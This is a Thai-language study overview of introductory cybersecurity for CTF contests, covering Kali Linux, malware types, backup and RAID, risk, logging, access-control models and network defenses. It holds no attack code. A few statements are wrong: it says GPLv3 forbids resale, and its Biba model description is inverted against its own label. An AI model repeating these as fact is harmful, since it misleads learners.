การแข่งขัน CTF (Capture The Flag)
CTF หรือ Capture The Flag เป็นการแข่งขันที่เน้นทักษะทางด้านความปลอดภัยทางไซเบอร์ โดยผู้เข้าร่วมจะต้องเผชิญกับโจทย์หรือปัญหาทางด้านความปลอดภัยที่หลากหลาย ไม่ว่าจะเป็นการเจาะระบบ (Hacking), การแก้ไขปัญหาทางด้านการเขียนโปรแกรม (Programming Challenges), การวิเคราะห์ข้อมูล (Data Analysis), และอื่น ๆ เป้าหมายของการแข่งขันคือการค้นหาและแย่งชิง “ธง” (Flag) ที่ถูกซ่อนอยู่ในแต่ละโจทย์ ผู้ที่สามารถรวบรวมธงได้มากที่สุดจะเป็นผู้ชนะ
การแข่งขัน CTF มักจะจัดในหลายรูปแบบ ทั้งแบบจับเวลา (Timed), แบบสะสมคะแนน (Point-based), และแบบทีม (Team-based) ซึ่งช่วยเสริมสร้างทักษะและประสบการณ์ในการทำงานร่วมกัน นอกจากนี้ ยังเป็นโอกาสที่ดีในการเรียนรู้เทคนิคใหม่ ๆ และสร้างเครือข่ายกับผู้ที่มีความสนใจในด้านเดียวกัน
ไม่ว่าคุณจะเป็นนักเรียน นักศึกษา นักวิจัย หรือผู้เชี่ยวชาญทางด้านความปลอดภัย การเข้าร่วมแข่งขัน CTF จะเป็นประสบการณ์ที่มีคุณค่าและน่าท้าทายอย่างยิ่ง
สรุปเนื้อหาการแข่งขัน CTF (Capture The Flag)
PART 1 : Basic Cybersecurity Knowledge
เรียนรู้เกี่ยวกับความรู้พื้นฐาน cybersecurity เบื้องต้น
Kali Linux: เครื่องมือที่ทรงพลังสำหรับนักวิจัยด้านความปลอดภัย
Kali Linux เป็นระบบปฏิบัติการที่ได้รับการออกแบบมาโดยเฉพาะสำหรับนักวิจัยด้านความปลอดภัยทางไซเบอร์ ผู้เชี่ยวชาญด้านการทดสอบเจาะระบบ (Penetration Testing) และผู้ที่สนใจในด้านความปลอดภัยของข้อมูล โดยมีพื้นฐานมาจาก Debian Linux Kali Linux มาพร้อมกับเครื่องมือมากมายที่ถูกติดตั้งไว้ล่วงหน้า ซึ่งครอบคลุมทุกด้านของการทดสอบเจาะระบบ ตั้งแต่การรวบรวมข้อมูล (Information Gathering), การวิเคราะห์ช่องโหว่ (Vulnerability Analysis), การโจมตี (Exploitation), ไปจนถึงการรายงาน (Reporting)
Kali Linux เป็นที่รู้จักกันดีในหมู่นักวิจัยด้านความปลอดภัยทั่วโลก ด้วยความที่เป็นโอเพ่นซอร์ส (Open Source) และมีการอัปเดตเครื่องมือใหม่ ๆ อย่างสม่ำเสมอ ทำให้ผู้ใช้มั่นใจได้ว่าจะได้รับเครื่องมือที่ทันสมัยและมีประสิทธิภาพสูงสุด นอกจากนี้ Kali Linux ยังสามารถใช้งานได้บนหลายแพลตฟอร์ม ไม่ว่าจะเป็นเครื่องคอมพิวเตอร์ตั้งโต๊ะ, แล็ปท็อป, หรือแม้กระทั่งอุปกรณ์พกพา
ไม่ว่าคุณจะเป็นมือใหม่ที่ต้องการเรียนรู้เกี่ยวกับการทดสอบเจาะระบบ หรือเป็นผู้เชี่ยวชาญที่ต้องการเครื่องมือที่มีประสิทธิภาพสูง Kali Linux เป็นทางเลือกที่สมบูรณ์แบบสำหรับทุกคนที่มีความสนใจในด้านความปลอดภัยทางไซเบอร์
Kali Linux: คู่มือเบื้องต้น
Kali Linux เป็นระบบปฏิบัติการ Linux ที่ได้รับความนิยมในการทดสอบเจาะระบบและพิสูจน์หลักฐานทางด้านดิจิตอล (Digital Forensics) โดยเป็นรุ่นพัฒนาต่อยอดจาก Backtrack Linux 4 โดยทีม Offensive Security ที่มุ่งเน้นด้าน Cybersecurity
คุณสมบัติหลัก:
- การพัฒนา: Kali Linux พัฒนาภายใต้ GPLv3 License ซึ่งอนุญาตให้แก้ไขและเผยแพร่ แต่ห้ามขายต่อ
- เครื่องมือ: มีเครื่องมือสำหรับการทดสอบเจาะระบบและการพิสูจน์หลักฐานทางด้านดิจิตอลมากมาย
- การอัปเดต: ใช้รูปแบบ Rolling Edition เพื่อการอัปเดตที่ต่อเนื่องและทันสมัย
เวอร์ชั่นต่างๆ:
- การเปลี่ยนชื่อ: เปลี่ยนจาก Kali 1.0 และ 2.0 เป็น Kali <YEAR>.<QUARTER> เพื่อสะท้อนถึงการอัปเดตอย่างต่อเนื่อง
การติดตั้งใน Virtual Environment:
- ความต้องการ: เปิดใช้งาน virtualization ใน BIOS/UEFI
- ขั้นตอนการติดตั้งใน VirtualBox:
- ดาวน์โหลดและติดตั้ง VirtualBox
- สร้าง VM ใหม่ใน VirtualBox และตั้งค่า
- ดาวน์โหลด Kali Linux และสร้าง VM ตามขั้นตอน
- ตั้งค่า VM และเริ่มติดตั้ง Kali Linux
- VirtualBox Edition: มีเวอร์ชั่นพร้อมใช้งานในรูปแบบ VirtualBox ที่สามารถดาวน์โหลดและนำไปใช้งานได้ทันที
Kali Linux เป็นเครื่องมือที่สำคัญในวงการ cybersecurity และได้รับการออกแบบมาเพื่อการใช้งานในด้านการทดสอบเจาะระบบและการพิสูจน์หลักฐานทางด้านดิจิตอล
ความรู้พื้นฐานเกี่ยวกับความปลอดภัยทางไซเบอร์
สำหรับผู้ใช้งานคอมพิวเตอร์ทั่วไป ข้อมูลที่เกินกว่า username และ password อาจถูกมองว่าไม่มีความสำคัญ แต่ในมุมมองของผู้เชี่ยวชาญด้านความปลอดภัยทางไซเบอร์ ข้อมูลเหล่านี้มีค่าอย่างมาก ผู้ไม่หวังดีสามารถนำข้อมูลที่ดูไร้ค่านี้ไปใช้ประโยชน์เพื่อเจาะระบบ ดังนั้นเราควรระมัดระวังในการเปิดเผยข้อมูลส่วนตัว
องค์ประกอบพื้นฐานของการรักษาความปลอดภัยของข้อมูล (CIA)
Confidentiality (การรักษาความลับของข้อมูล) ข้อมูลทุกข้อมูลมีระดับความลับที่ต้องรักษาให้คงอยู่ การควบคุมการเข้าถึงข้อมูลเป็นสิ่งสำคัญ เช่น การใช้ username และ password หรือการกำหนดสิทธิ์ในการเข้าถึงข้อมูล
Integrity (ความถูกต้องของข้อมูล) ข้อมูลต้องคงอยู่ในสภาพเดิม ไม่ถูกแก้ไขหรือทำลายในระหว่างการส่งหรือเก็บรักษา วิธีหนึ่งที่ช่วยได้คือการเข้ารหัสหรือการใช้การตรวจสอบ MD5
Availability (ความพร้อมใช้งานของข้อมูล) ข้อมูลต้องพร้อมใช้งานเมื่อจำเป็น การป้องกันการโจมตีและการสำรองข้อมูลเป็นสิ่งสำคัญ เช่น การทำ Load Balancing หรือการสำรองข้อมูล (Backup Plan)
เป้าหมายของการรักษาความปลอดภัยของข้อมูล
Prevention (การป้องกัน) ป้องกันข้อมูลจากการถูกทำลายหรือเข้าถึงอย่างไม่ถูกต้อง การปรับปรุงระบบและนโยบายเพื่อให้มีความปลอดภัยสูงสุดเป็นสิ่งสำคัญ
Detection (การตรวจพบ) การตรวจสอบและระบุการโจมตีที่เกิดขึ้นกับระบบ การตรวจสอบ log ของระบบและซอฟต์แวร์เป็นวิธีที่ใช้ในการตรวจพบ
Response (การตอบสนอง) การปรับปรุงและแก้ไขระบบหลังจากการโจมตี การมีแผนการรับมือที่ดีจะช่วยให้ระบบกลับมาใช้งานได้เร็วและมีประสิทธิภาพ
ลักษณะของการโจมตี
Remote Exploit การโจมตีผ่านเครือข่ายโดยไม่ต้องเข้าถึงเครื่องเป้าหมาย
Local Exploit การโจมตีที่ต้องเข้าถึงเครื่องเป้าหมายเพื่อยกระดับสิทธิ์ของผู้ใช้
เป้าหมายของการโจมตีของ Hacker
Access Attack การโจมตีเพื่อเข้าถึงข้อมูลที่มีความลับ
Modification And Repudiation การโจมตีเพื่อแก้ไขข้อมูลและปฏิเสธการกระทำของตนเอง
Denial Of Service (DoS) And Distributed Denial Of Service (DDoS) การโจมตีเพื่อทำให้ระบบไม่สามารถใช้งานได้
Malware ย่อมาจาก Malicious Software หมายถึงโปรแกรมที่มีเจตนาร้ายต่อระบบคอมพิวเตอร์ โดย malware มีหลายประเภท ได้แก่ trojan, backdoor, virus, worm และ ransomware
ประเภทของ Malware
Backdoor:
- เป็นโปรแกรมที่เปิดทางให้ Hacker เข้าถึงระบบเป้าหมายได้ทุกเวลา
- มักถูกซ่อนโดยใช้ชื่อเซอร์วิสที่ไม่สะดุดตา
- ลดการสร้าง log ทำให้เหยื่อไม่รู้ตัวว่าถูกโจมตี
Trojan:
- แฝงตัวมากับโปรแกรมอื่น ๆ และทำงานขโมยหรือลบข้อมูล
- มักถูกปลอมเป็นโปรแกรมที่ดูน่าเชื่อถือ เช่น antivirus
- แพร่กระจายผ่านเว็บ, email หรือ Instant Messenger
Virus และ Worm:
- Virus ต้องอาศัยโปรแกรมอื่นเพื่อแพร่กระจาย ส่วน Worm แพร่กระจายได้ด้วยตัวเอง
- Virus ฝังตัวในไฟล์รันได้ ส่วน Worm กระจายตัวจากระบบสู่ระบบอัตโนมัติ
การตรวจจับและป้องกัน Malware
VirusTotal:
- บริการออนไลน์ที่ตรวจสอบไฟล์ว่ามี malware หรือไม่
- ตรวจสอบด้วย antivirus ถึง 72 ชนิด
Nodistribute:
- บริการออนไลน์คล้าย VirusTotal แต่ไม่แชร์ข้อมูลไฟล์กับผู้พัฒนา antivirus
URLVoid:
- ตรวจสอบเว็บไซต์ว่ามีความเสี่ยงหรือไม่ โดยพิจารณาจากชื่อเสียงของเว็บไซต์
Ransomware
- Malware ที่เข้ารหัสข้อมูลในเครื่องเหยื่อและเรียกค่าไถ่เพื่อปลดล็อก
- หากไม่จ่ายค่าไถ่ตามเวลาที่กำหนด ข้อมูลในเครื่องอาจถูกลบทั้งหมด
- สามารถตรวจสอบ ransomware ได้ที่ https://id-ransomware.malwarehunterteam.com/
Advanced Persistent Threat (APT)
- การโจมตีที่มีเป้าหมายชัดเจน ซับซ้อน และแฝงตัวในองค์กร
- ใช้ malware โจมตีด้วยช่องโหว่ทั้งที่รู้และไม่รู้ล่วงหน้า
- การโจมตีมักเริ่มด้วยการส่ง email ที่มี malware ไปยังเป้าหมาย
สรุป
- Malware มีหลายประเภท แต่ละประเภทมีลักษณะและวิธีการแพร่กระจายต่างกัน
- การป้องกันและตรวจจับ malware จำเป็นต้องอัพเดตระบบและใช้บริการตรวจสอบออนไลน์ที่น่าเชื่อถือ
- การรู้เท่าทันและระมัดระวังการใช้งานโปรแกรมและเว็บไซต์เป็นวิธีการป้องกัน malware ที่ดีที่สุด
สำรองข้อมูล (Backup Data)
ความหมายของ Backup
Backup หมายถึงการทำสำเนาข้อมูลสำคัญจากต้นฉบับเพื่อเก็บรักษาไว้ในระยะยาว โดยมักใช้เทปเก็บข้อมูลเนื่องจากรองรับปริมาณข้อมูลได้มาก ข้อดีของการสำรองข้อมูลมีดังนี้:
- กู้คืนข้อมูลเมื่อเกิดเหตุขัดข้อง เช่น การถูกเข้ารหัสไฟล์โดย ransomware
- เป็นแผนสำรองในกรณีข้อมูลผิดพลาดขณะทำการอัปเกรดระบบ
- ป้องกันข้อมูลสูญหายจากภัยธรรมชาติหรือเหตุการณ์ไม่คาดฝัน
- ใช้เปรียบเทียบข้อมูลระหว่างอดีตและปัจจุบัน
ประเภทของการสำรองข้อมูล
- Full Backup: สำรองข้อมูลทั้งหมด ข้อดีคือมีความน่าเชื่อถือและง่ายต่อการกู้คืน แต่ใช้เวลานานและมีขนาดใหญ่
- Incremental Backup: สำรองเฉพาะข้อมูลที่เปลี่ยนแปลงจากการสำรองครั้งก่อน ข้อดีคือใช้เวลาน้อยและไฟล์ขนาดเล็ก แต่การกู้คืนข้อมูลทั้งหมดต้องใช้ไฟล์สำรองทุกไฟล์
- Differential Backup: สำรองข้อมูลที่เปลี่ยนแปลงจาก Full Backup ข้อดีคือกู้คืนข้อมูลได้เร็วกว่า Incremental Backup แต่ใช้พื้นที่มากกว่า
- Synthetic Full Backup: รวมข้อมูลจาก Incremental Backup หลาย ๆ ครั้งเพื่อสร้าง Full Backup ใหม่ ทำให้กู้คืนข้อมูลได้ง่ายขึ้น แต่ใช้พื้นที่เก็บข้อมูลมาก
การสำรองข้อมูลตามมาตรฐาน ISO
- มีสื่อสำรองข้อมูลอย่างน้อย 2 ชุด
- ซอฟต์แวร์ที่ใช้ต้องสามารถทำ Full Backup และ Restore ได้อย่างมีประสิทธิภาพ
- จัดทำแผนและบันทึกการสำรองข้อมูลทุกครั้ง
- ทำ Offside Backup ข้อมูลสำรองเก็บไว้อย่างน้อย 2 ชุด แยกกันไม่ต่ำกว่า 10 กิโลเมตร
ค่า RPO และ RTO
- RPO (Recovery Point Objective): จุดเวลาที่สามารถกู้คืนข้อมูลได้
- RTO (Recovery Time Objective): ระยะเวลาที่ใช้ในการกู้คืนข้อมูล
RAID (Redundant Array of Inexpensive Disks)
RAID เป็นการรวมฮาร์ดดิสก์หลายตัวเพื่อเพิ่มประสิทธิภาพและความน่าเชื่อถือในการเก็บข้อมูล แบ่งออกเป็นหลายประเภท ดังนี้:
- RAID-0 (Striping): เพิ่มความเร็วในการเข้าถึงข้อมูล แต่ไม่มีการสำรองข้อมูล
- RAID-1 (Disk Mirroring): สำรองข้อมูลโดยการทำสำเนา ทำให้ข้อมูลปลอดภัยแต่ใช้พื้นที่เก็บข้อมูลมาก
- RAID-0+1 / RAID-1+0: ผสมผสานข้อดีของ RAID-0 และ RAID-1 ทั้งความเร็วและการสำรองข้อมูล
- RAID-3: ใช้ดิสก์เฉพาะสำหรับการเก็บ parity bit เพื่อเพิ่มความปลอดภัยของข้อมูล
- RAID-5: กระจาย parity bit ไปยังดิสก์ทุกตัว เพิ่มความปลอดภัยและประสิทธิภาพ
- RAID-6: เหมือน RAID-5 แต่เพิ่ม parity bit อีกชุด ทำให้กู้คืนข้อมูลได้แม้ดิสก์เสียพร้อมกันถึง 2 ตัว
การเชื่อมต่อ Hard Disk ด้วย RAID
- Hardware RAID: ใช้การ์ดฮาร์ดแวร์สำหรับการทำ RAID ซึ่งมีประสิทธิภาพสูงกว่า
- Software RAID: ใช้ซอฟต์แวร์ในการทำ RAID ประหยัดต้นทุน แต่ประสิทธิภาพอาจน้อยกว่า
ชนิดของ Disk ใน RAID
- Hot Spare Disk: ดิสก์ที่ทำงานแทนแบบอัตโนมัติเมื่อดิสก์ตัวใดตัวหนึ่งเสีย
- Hot Swap Disk: ดิสก์ที่สามารถเปลี่ยนได้โดยไม่ต้องปิดระบบ
เครื่องมือคำนวณ RAID size:
สรุป
บทความนี้กล่าวถึงการสำรองข้อมูล (Backup) และประเภทของ RAID พร้อมทั้งแนวทางการปฏิบัติตามมาตรฐาน ISO เพื่อให้ข้อมูลมีความปลอดภัยและสามารถกู้คืนได้อย่างมีประสิทธิภาพ
DR Site: ความสำคัญและประเภทต่างๆ
DR (Disaster Recovery) Site คือสถานที่ที่ใช้สำหรับการสำรองข้อมูลและบริการหลักขององค์กร เมื่อศูนย์สำนักงานใหญ่ได้รับความเสียหายจากภัยพิบัติ การสร้าง DR Site ต้องใช้งบประมาณที่มาก ขึ้นอยู่กับประเภทของ DR Site ที่องค์กรเลือกใช้
ประเภทของ DR Site
Hot Site
- มีระบบและข้อมูลที่เหมือนกับสำนักงานใหญ่ทั้งหมด
- ใช้งบประมาณสูง แต่มีเวลา downtime น้อยมาก
- เหมาะสำหรับองค์กรที่ต้องการความพร้อมในการทำงานตลอดเวลา เช่น ระบบออนไลน์
Cold Site
- สำรองเฉพาะระบบ HVAC, network, ระบบไฟฟ้า และข้อมูลเล็กน้อย
- ใช้งบประมาณน้อยที่สุด แต่ต้องใช้เวลามากในการตั้งค่าและกำหนดค่าก่อนใช้งาน
- เหมาะสำหรับองค์กรที่สามารถทนต่อเวลา downtime ได้
Warm Site
- มีการสำรองข้อมูลและระบบบางส่วน
- ใช้งบประมาณปานกลาง มี downtime น้อยกว่า Cold Site
- สามารถนำข้อมูลกลับมาใช้งานได้เร็วกว่า Cold Site แต่ยังต้องอัปเดตระบบให้ทันสมัย
สรุป
- Hot Site: ใช้งบประมาณสูงสุด แต่ downtime น้อยที่สุด
- Cold Site: ใช้งบประมาณน้อยสุด แต่ downtime มากที่สุด
- Warm Site: ใช้งบประมาณปานกลาง แต่ downtime มากกว่า Hot Site
ความเสี่ยง (Risk) คืออะไร?
ความเสี่ยงหมายถึงการคาดการณ์มูลค่าความเสียหายที่อาจเกิดขึ้นต่อทรัพย์สินขององค์กร คูณกับความเป็นไปได้ที่จะเกิดความเสียหาย (Probability) โดยไม่เพียงแต่พิจารณาเป็นมูลค่าเงิน แต่ยังรวมถึงชื่อเสียงที่อาจประเมินค่าได้ยาก เช่น การถูกแฮ็กในระบบธนาคารอาจส่งผลเสียมากกว่าการไม่สามารถให้บริการได้ชั่วคราว
การประเมินความเสี่ยง (Risk Assessment) ประกอบด้วย:
- Identification: กำหนดมูลค่าของสินทรัพย์และผลกระทบต่อธุรกิจ รวมถึงการกำหนดโปรไฟล์ความเสี่ยงของแต่ละสินทรัพย์
- Assessment: คำนวณค่าความเสี่ยงจากความเสียหายและความเป็นไปได้ โดยพิจารณาจากภัยคุกคาม ช่องโหว่ และการควบคุม
- Prioritize: จัดลำดับความสำคัญของการจัดการความเสี่ยงตามความรุนแรงและทรัพยากรที่ต้องใช้
- Treatments: ใช้วิธีการควบคุมความเสี่ยง เช่น การปรับปรุงหรือใช้เครื่องมือช่วย
วิธีการจัดการความเสี่ยง (Risk Treatments):
- Risk Retention: ยอมรับความเสี่ยงและดำเนินการต่อไปหากการจัดการความเสี่ยงไม่คุ้มค่า
- Risk Reduction: ลดความเสี่ยงโดยการปรับปรุง เช่น การติดตั้งอุปกรณ์ดับเพลิง
- Risk Sharing: โอนความเสี่ยงให้กับผู้อื่น เช่น การทำประกัน
- Risk Avoidance: เลิกใช้งานสินทรัพย์หรือกระบวนการที่มีความเสี่ยงสูง
เครื่องมือที่ใช้ในการคำนวณความเสี่ยง:
- OWASP Risk Assessment Calculator: คำนวณความเสี่ยงโดยใช้สูตรของ OWASP OWASP Risk Assessment Calculator
- CVSS Score v3.1 Calculator: คำนวณค่าความเสี่ยงตาม CVSS Base Score CVSS Score Calculator
การคำนวณความเสี่ยงช่วยในการจัดการและลดความเสี่ยงในองค์กรอย่างมีประสิทธิภาพ
สรุปเนื้อหาเกี่ยวกับ Policies, Standards, และ Procedures:
Policies (นโยบาย) Policies คือข้อบังคับและแนวทางในการใช้งานทรัพยากรขององค์กร เพื่อรักษาความปลอดภัยและประสิทธิภาพในการทำงาน Policies จะระบุถึงความสำคัญของการปกป้องทรัพยากร รวมถึงวิธีการใช้งานและการเข้าถึงอย่างถูกต้อง โดยต้องได้รับความร่วมมือจากผู้บริหารและมีการปรับปรุงตามภัยคุกคามที่เปลี่ยนแปลงไป
Standards (มาตรฐาน) Standards คือรายละเอียดและแนวทางปฏิบัติที่เป็นข้อกำหนดเพิ่มเติมจาก Policies ตัวอย่างเช่น มาตรฐานเกี่ยวกับการอัปเดตซอฟต์แวร์จะระบุความถี่และรายละเอียดเฉพาะตามประเภทของอุปกรณ์ โดยอิงจาก Policies
Procedures (ขั้นตอนการดำเนินงาน) Procedures คือขั้นตอนที่ใช้ในการปฏิบัติตาม Standards โดยอาจมีเอกสารคู่มือที่ช่วยในการดำเนินงาน Procedures มักจะมีการเปลี่ยนแปลงบ่อยครั้งตามความเปลี่ยนแปลงในเทคโนโลยีและภัยคุกคาม และควรได้รับข้อเสนอแนะจากผู้ใช้งานจริงเพื่อปรับปรุงให้มีประสิทธิภาพสูงสุด
สรุป Policies เป็นกฎข้อบังคับหลักขององค์กร, Standards เป็นมาตรฐานการดำเนินงานตาม Policies, และ Procedures คือขั้นตอนปฏิบัติที่ช่วยให้เป็นไปตาม Standards.
การบันทึก Log และ Syslog Protocol
การบันทึก Log Log คือการบันทึกเหตุการณ์หรือการทำงานที่เกิดขึ้นจาก client, server, หรือ application ต่างๆ รวมถึงอุปกรณ์ network เช่น Firewall และ Switch การบันทึก log สามารถช่วยในการตรวจสอบปัญหาและรักษาความปลอดภัยของระบบ
Syslog Protocol Syslog เป็น protocol ที่ใช้เพื่อส่ง log ข้อมูลทั้งภายในเครื่องและส่งออกไปยัง server ภายนอก โดยมาตรฐานเดิมคือ RFC3164 และมีการปรับปรุงเป็น RFC5424 ซึ่งช่วยให้การอ่านและจัดการ log ง่ายขึ้น โดยใช้ Syslog-ng server เป็นตัวกลางในการรวม log จากหลายแหล่ง
รูปแบบของ Syslog
- RFC 3164: ประกอบด้วย Priority (PRI), Timestamp, Hostname, Tag, และ Content
- RFC 5424: ประกอบด้วย Header (PRI, Version, Timestamp, Hostname, App-Name, ProcID, MSGID, Structured-Data), และ Message
Facility และ Severity
- Facility: ประเภทของ log เช่น kernel messages, user-level messages, mail system
- Severity: ความรุนแรงของ log เช่น Emergency, Alert, Critical, Error, Warning, Notice, Informational, Debug
การ Audit Log บน Debian
- ติดตั้งบริการ Audit และกำหนดค่าตามที่ต้องการในไฟล์
/etc/audit/rules.d/audit.rules
- รีสตาร์ทบริการ Audit
- ใช้คำสั่ง
aureport
และausearch
เพื่อจัดการและค้นหา log
การส่ง Audit Log ไปยัง Syslog
- แก้ไขไฟล์
/etc/audisp/plugins.d/syslog.conf
ให้ตั้งค่าเป็นactive = yes
- รีสตาร์ทบริการ Audit
การบันทึก Log บน Windows
ประเภทของ Windows Log
- System Log: เกี่ยวกับโปรแกรมและ OS
- Security Log: เกี่ยวกับความปลอดภัย เช่น logon และ resource access
- Application Log: เกี่ยวกับส่วนประกอบของ Windows
- Setup Log: เกี่ยวกับการอัพเดตและติดตั้ง
- Forward Events: Log จาก server อื่น
การ Audit Windows Log
- ตั้งค่า AUDIT Policy ผ่าน Group Policy (GPO) หรือ SECPOL.MSC
- สามารถย้าย log ไปยังที่อื่นได้โดยการแก้ไข Registry
การติดตั้งและกำหนดค่า Syslog-ng
การติดตั้ง Syslog-ng
- ติดตั้งผ่านคำสั่ง
yum
หรือapt-get
ขึ้นอยู่กับระบบปฏิบัติการ - ปิดการทำงานของ rsyslog และเปิดใช้งาน syslog-ng
- กำหนดค่าไฟล์
syslog-ng.conf
เพื่อจัดการการบันทึก log จากแหล่งต่างๆ - รีสตาร์ทบริการ syslog-ng และกำหนด Firewall ให้อนุญาต UDP/514
การกำหนดค่า SELinux
- ตรวจสอบและปรับสถานะ SELinux หากจำเป็น
บทสรุป
เนื้อหานี้ครอบคลุมการบันทึก log บนทั้งระบบ Windows และ Linux รวมถึงการจัดการ syslog protocol และการติดตั้ง syslog-ng
Defense in-Depth และ Defense in Breadth:
Defense in-Depth
Defense in-Depth คือกลยุทธ์การป้องกันที่ใช้หลายชั้นเพื่อป้องกันภัยคุกคามที่อาจเกิดขึ้นในเครือข่าย โดยมีการสร้างหลายชั้นของการป้องกันเพื่อให้ผู้โจมตีต้องเผชิญกับอุปสรรคหลายขั้นตอน หากผู้โจมตีผ่านชั้นแรกไปได้ จะต้องเผชิญกับชั้นถัดไป ซึ่งจะช่วยให้การตรวจจับและตอบสนองต่อการโจมตีมีประสิทธิภาพมากขึ้น การป้องกันในแต่ละชั้นจะส่งข้อมูล log ไปยังส่วนกลางเพื่อติดตามและวิเคราะห์พฤติกรรมของผู้โจมตี
Defense in Breadth
ในทางกลับกัน, Defense in Breadth มุ่งเน้นการป้องกันที่ระดับ Application Layer โดยใช้เครื่องมือต่าง ๆ เช่น Web Application Firewall เพื่อป้องกันภัยคุกคามเฉพาะเจาะจงที่เกิดจากแอปพลิเคชัน เช่น SQL Injection หรือ Cross-Site Scripting การป้องกันในลักษณะนี้จะกรอง traffic ได้อย่างละเอียดและต้องมีการส่ง log ไปยังส่วนกลางเพื่อการเฝ้าระวังเพิ่มเติม
ข้อสรุป
ทั้ง Defense in-Depth และ Defense in Breadth เป็นกลยุทธ์การป้องกันที่มีเป้าหมายในการตรวจจับและป้องกันภัยคุกคามอย่างมีประสิทธิภาพ การเลือกใช้กลยุทธ์ใดขึ้นอยู่กับความจำเป็นและทรัพย์สินที่ต้องดูแล
Security Models
การออกแบบระบบความปลอดภัยในองค์กรจำเป็นต้องมีการจัดการข้อมูลและความต้องการด้านความปลอดภัยที่แตกต่างกันออกไป ข้อมูลแต่ละประเภทมีความสำคัญไม่เท่ากัน จึงต้องมีการแบ่งประเภทข้อมูลและกำหนดความต้องการด้านความปลอดภัยที่เหมาะสม
Data Classification
การจัดประเภทข้อมูล (Data Classification) ช่วยในการควบคุมการเข้าถึงข้อมูลได้อย่างมีประสิทธิภาพ โดยทั่วไปจะมีการจัดประเภทข้อมูลตามระดับความสำคัญ ดังนี้:
- Top Secret: ข้อมูลที่มีความลับสูงสุด เข้าถึงได้เฉพาะกลุ่มที่จำเป็นเท่านั้น
- Secret: ข้อมูลที่มีความสำคัญสูง หากรั่วไหลอาจส่งผลกระทบต่อองค์กรอย่างรุนแรง
- Confidential: ข้อมูลที่สำคัญ หากรั่วไหลอาจส่งผลกระทบต่อองค์กร
- Restricted: ข้อมูลที่มีข้อจำกัดสูง หากรั่วไหลอาจทำให้เกิดผลกระทบที่ไม่พึงประสงค์
- Official: ข้อมูลที่เป็นทางการ ไม่มีผลกระทบหากข้อมูลหลุด
- Unclassified: ข้อมูลที่ไม่สำคัญ สามารถเข้าถึงได้จากทุกคน
การแบ่งประเภทข้อมูลจะช่วยในการจัดการและควบคุมการเข้าถึงข้อมูลอย่างมีประสิทธิภาพ
Access Control
ระบบควบคุมการเข้าถึง (Access Control) กำหนดสิทธิ์ในการเข้าถึงข้อมูล โดยผู้ใช้งานต้องยืนยันตัวตนและสิทธิ์ก่อนเข้าถึงข้อมูล ระบบ Access Control มีการดำเนินการดังนี้:
- Identification: การแจ้งหลักฐานของตัวตน เช่น ชื่อผู้ใช้
- Authentication: การตรวจสอบตัวตนของผู้ใช้งาน
- Authorization: การตรวจสอบสิทธิ์ของผู้ใช้งานในการเข้าถึงข้อมูล
Access Control Models
- DAC (Discretionary Access Control): ผู้ใช้สามารถควบคุมการเข้าถึงข้อมูลของตนเองได้
- RBAC (Role-Based Access Control): การเข้าถึงข้อมูลขึ้นอยู่กับบทบาทของผู้ใช้งาน
- MAC (Mandatory Access Control): การควบคุมการเข้าถึงที่เข้มงวด ตามระดับความสำคัญของข้อมูล
Security Models
- Bell-LaPadula Model: มุ่งเน้นการรักษาความลับของข้อมูล โดยอนุญาตให้ผู้ใช้งานอ่านข้อมูลที่มีระดับความลับเท่ากับหรือต่ำกว่า แต่เขียนข้อมูลที่มีระดับความลับสูงกว่าตนเองเท่านั้น (Write Up, Read Down)
- Biba Model: เน้นความถูกต้องของข้อมูล โดยอนุญาตให้ผู้ใช้งานอ่านข้อมูลที่มีระดับความถูกต้องเท่ากับหรือต่ำกว่า แต่เขียนข้อมูลที่มีระดับความถูกต้องสูงกว่าตนเองไม่ได้ (Read Up, Write Down)
- Clark-Wilson Model: มุ่งเน้นการรักษาความถูกต้องของข้อมูลผ่านการใช้งานโปรแกรมเฉพาะ (Transformation Procedures) และการตรวจสอบความถูกต้องของข้อมูล (Integrity Verification Procedures)
- Chinese Wall Model: ใช้ในการควบคุมการเข้าถึงเพื่อป้องกันความขัดแย้งทางผลประโยชน์ โดยไม่อนุญาตให้ผู้ใช้งานเข้าถึงข้อมูลที่อาจก่อให้เกิดการขัดแย้งทางผลประโยชน์
Conclusion
Security Models เป็นแนวทางในการควบคุมการเข้าถึงข้อมูลเพื่อให้การรักษาความลับและความถูกต้องของข้อมูลเป็นไปตามที่กำหนด โดยแต่ละโมเดลมีจุดเน้นและกฎเกณฑ์ที่แตกต่างกันตามลักษณะของข้อมูลและความต้องการขององค์กร
อุปกรณ์ด้านความปลอดภัยเครือข่าย
ระบบตรวจจับการบุกรุก (IDS)
- Intrusion Detection System (IDS) ทำหน้าที่ตรวจจับและรายงานพฤติกรรมที่ผิดปกติภายในเครือข่าย โดยใช้การตรวจสอบแพ็กเก็ตและการจับคู่ลายเซ็น (pattern matching) เพื่อระบุการโจมตีที่เป็นไปได้ แต่ไม่สามารถป้องกันได้โดยตรง
- IDS มีสองประเภทหลัก:
- Host-Based IDS ติดตั้งบนเครื่องคอมพิวเตอร์เพื่อตรวจจับการเข้าถึงและการเปลี่ยนแปลงไฟล์ เช่น Host Wrappers และ Agent-Based Software
- Network-Based IDS ตรวจจับการทำงานที่ผิดปกติภายในเครือข่าย เช่น การตรวจสอบลายเซ็นที่เป็นข้อความ, พอร์ต หรือเฮดเดอร์ของแพ็กเก็ต
ระบบป้องกันการบุกรุก (IPS)
- Intrusion Prevention System (IPS) สามารถตรวจจับและป้องกันการโจมตีได้โดยตรง โดยทำงานได้ทั้งในระดับการตรวจจับและการป้องกันความปลอดภัย เช่น การบล็อกการบุกรุกหรือการปิดการเชื่อมต่อ
- IPS แบ่งเป็น 4 ประเภทหลัก:
- Network-Based IPS (NIPS) ตรวจสอบการทำงานของโปรโตคอลในเครือข่าย
- Wireless IPS (WIPS) ตรวจสอบเครือข่ายไร้สาย
- Network Behavior Analysis (NBA) ตรวจสอบพฤติกรรมที่ผิดปกติในเครือข่าย
- Host-Based IPS (HIPS) ตรวจสอบพฤติกรรมที่ผิดปกติภายในเครื่อง
ไฟร์วอลล์ (Firewall)
- Firewall ใช้ในการควบคุมการเข้าถึงระบบโดยการตรวจสอบที่อยู่ IP และพอร์ตเพื่อป้องกันการโจมตีจากแฮกเกอร์
- ประเภทของไฟร์วอลล์:
- Packet Filtering Firewalls ตรวจสอบแพ็กเก็ตที่ระดับเครือข่าย
- Stateful Firewalls ติดตามสถานะการเชื่อมต่อในระดับการขนส่ง
- Application Firewalls ตรวจสอบและควบคุมการเข้าถึงที่ระดับแอปพลิเคชัน
